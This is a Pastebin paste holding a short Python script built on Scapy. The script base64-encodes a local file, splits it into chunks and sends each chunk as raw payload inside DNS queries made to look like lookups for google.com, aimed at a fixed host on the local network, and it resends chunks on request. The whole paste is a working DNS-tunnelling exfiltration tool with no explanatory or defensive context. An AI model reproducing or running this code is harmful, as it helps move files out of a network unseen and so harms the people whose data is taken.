Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from scapy.all import *
- import random
- import base64
- num=0
- l1= IP(ttl=255, src="192.168.43.42", dst="192.168.43.220")
- l2= UDP(sport=random.randint(6000,8999), dport=53)
- chunks=[]
- with open('trump.txt', "br") as f:
- file_read=base64.b64encode(f.read())
- while len(file_read)>1400:
- chunk = file_read[:1400]
- chunks.append(chunk)
- # a=base64.b64encode(str(num))
- # raw=a,chunk
- l3 = DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"), id=num)
- l4=Raw(load=chunk)
- x= sr1(l1/l2/l3/l4)
- num+=1
- file_read=file_read[1400:]
- if len(file_read)<1400:
- chunk=file_read
- l3 = DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"), id=num)
- l4=Raw(load=chunk)
- x= sr1(l1/l2/l3/l4)
- pkts = sniff( filter = "host 192.168.43.220", timeout=30)
- while pkts:
- for pkt in pkts:
- if not ARP in pkt:
- if pkt[IP].src=='192.168.43.220':
- seq=pkt[3].id
- chunk=chunks[seq]
- l3 = DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"), id=seq)
- l4 = Raw(load=chunk)
- x = sr1(l1 / l2 / l3 / l4)
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement